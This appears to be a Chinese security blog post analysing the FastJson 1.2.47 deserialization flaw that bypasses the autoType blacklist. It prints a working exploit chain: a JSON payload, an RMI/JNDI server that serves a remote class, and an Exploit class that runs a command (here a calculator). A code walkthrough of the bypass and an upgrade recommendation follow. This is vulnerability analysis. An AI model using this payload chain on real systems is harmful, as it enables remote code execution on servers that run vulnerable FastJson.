FastJson =< 1.2.47 反序列化漏洞浅析

释放双眼,带上耳机,听听看~!

点击上方“凌天实验室”,“星标或置顶公众号”

漏洞、技术还是其他,我都想第一时间和你分享


poc


{“name”:{“@type”:”java.lang.Class”,”val”:”com.sun.rowset.JdbcRowSetImpl”},”x”:{“@type”:”com.sun.rowset.JdbcRowSetImpl”,”dataSourceName”:”rmi://localhost:1099/Exploit”,”autoCommit”:true}}}


最近据说爆出来一个在hw期间使用的fastjson 漏洞,该漏洞无需开启autoType即可利用成功,建议使用fastjson的用户尽快升级到> 1.2.47版本(保险起见,建议升级到最新版)


环境准备


阅读本篇文章之前建议先了解一下fastjson中的jndi漏洞利用方式。


rmiServer.java

/*

 * Copyright sky 2019-07-11 Email:sky@03sec.com.

 *

 * Licensed under the Apache License, Version 2.0 (the “License”);

 * you may not use this file except in compliance with the License.

 * You may obtain a copy of the License at

 *

 *      http://www.apache.org/licenses/LICENSE-2.0

 *

 * Unless required by applicable law or agreed to in writing, software

 * distributed under the License is distributed on an “AS IS” BASIS,

 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

 * See the License for the specific language governing permissions and

 * limitations under the License.

 */

package cn.org.javaweb.fastjsontest;


import com.sun.jndi.rmi.registry.ReferenceWrapper;


import javax.naming.Reference;

import java.rmi.registry.LocateRegistry;

import java.rmi.registry.Registry;


/**

 * @author sky

 */

public class test3 {


    public static void main(String[] args) throws Exception {

        Registry registry = LocateRegistry.createRegistry(1099);

        Reference reference = new Reference(“Exloit”,

                “Exploit”,”http://localhost:8000/”);

        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);

        registry.bind(“Exploit”,referenceWrapper);

    }

}


Exploit.java

import javax.naming.Context;

import javax.naming.Name;

import javax.naming.spi.ObjectFactory;

import java.io.IOException;

import java.util.Hashtable;


public class Exploit implements ObjectFactory {


    @Override

    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {

        exec(“xterm”);

        return null;

    }


    public static String exec(String cmd) {

        try {

            Runtime.getRuntime().exec(“/Applications/Calculator.app/Contents/MacOS/Calculator”);

        } catch (IOException e) {

            e.printStackTrace();

        }

        return “”;

    }


    public static void main(String[] args) {

        exec(“123”);

    }

}


poc.java

/*

 * Copyright sky 2019-07-11 Email:sky@03sec.com.

 *

 * Licensed under the Apache License, Version 2.0 (the “License”);

 * you may not use this file except in compliance with the License.

 * You may obtain a copy of the License at

 *

 *      http://www.apache.org/licenses/LICENSE-2.0

 *

 * Unless required by applicable law or agreed to in writing, software

 * distributed under the License is distributed on an “AS IS” BASIS,

 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

 * See the License for the specific language governing permissions and

 * limitations under the License.

 */

package cn.org.javaweb.fastjsontest;


import com.alibaba.fastjson.JSON;


/**

 * @author sky

 */

public class test5 {


    public static void main(String[] argv) {

        String payload = “{“name”:{“@type”:”java.lang.Class”,”val”:”com.sun.rowset.JdbcRowSetImpl”},” +

                “”xxxx”:{“@type”:”com.sun.rowset.JdbcRowSetImpl”,”dataSourceName”:” +

                “”rmi://localhost:1099/Exploit”,”autoCommit”:true}}}”;

        JSON.parse(payload);

    }

}


其中Exploit.java需要使用javac编译执行一次生成Exploit.class并放置在localhost:8000端口的根目录。我这边使用python简单的httpServer搭建的简易http服务器。


调用分析


调用过程和之前的 《fastjson jndi利用方式》 差不多,这边使用了一个特性绕过了黑名单机制,在

com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object) 执行逻辑中:


首先遇到的是第一个key@type,然后进行了以下的判断,如果是@type并且启用了特殊key检查的话,那么就把对应的value作为类来加载。这边摘取片段来进行展示。


if (key == JSON.DEFAULT_TYPE_KEY&& !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {

 ………… ………… …………

if (object != null&&object.getClass().getName().equals(typeName)) {

    clazz = object.getClass();

} else {

     clazz = config.checkAutoType(typeName, null, lexer.getFeatures());

 }

 ………… ………… …………


    Object obj = deserializer.deserialze(this, clazz, fieldName);

    return obj;


}


fastjson会去检测@type的类是否为黑名单中的类,



而poc中传入的@type为java.lang.class并非黑名单中的类,所以第一步检测的通过的。


接下来会把对应的value进行加载,也就是加载java.lang.class



跟进deserialze方法(com.alibaba.fastjson.serializer.MiscCodec#deserialze)



可以看到lexer中的stringVal为poc中的val,而val的值为com.sun.rowset.JdbcRowSetImpl.


接下来将objVal赋值给strVal



然后执行下面一大串if判断,其中有个if为:

如果传入的clazz为java.lang.class,则会调用TypeUtils.loadClass加载com.sun.rowset.JdbcRowSetImpl类


跟进loadClass方法



从而导致checkAutoType在检测是否为黑名单的时候绕了过去,因为上一步将com.sun.rowset.JdbcRowSetImpl放入了mapping中,checkAutoType中使用TypeUtils.getClassFromMapping(typeName)去获取class不为空,从而绕过了黑名单检测



导致将com.sun.rowset.JdbcRowSetImpl放入mapping中的问题点是在loadClass中的第三个参数,该参数是指是否对class放入缓存mapping中。


com.alibaba.fastjson.util.TypeUtils#loadClass(java.lang.String, java.lang.ClassLoader)


1.2.47版本中的代码



结语


文章中有不对的点欢迎指出~

本篇文章来源于微信公众号凌天实验室: 凌天实验室

人已赞赏
安全教程

PHP 代码审计(一)

2019-10-13 9:11:10

安全教程

Windows 10中的DHCP安全性:分析关键漏洞CVE-2019-0726

2019-10-13 9:12:31

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索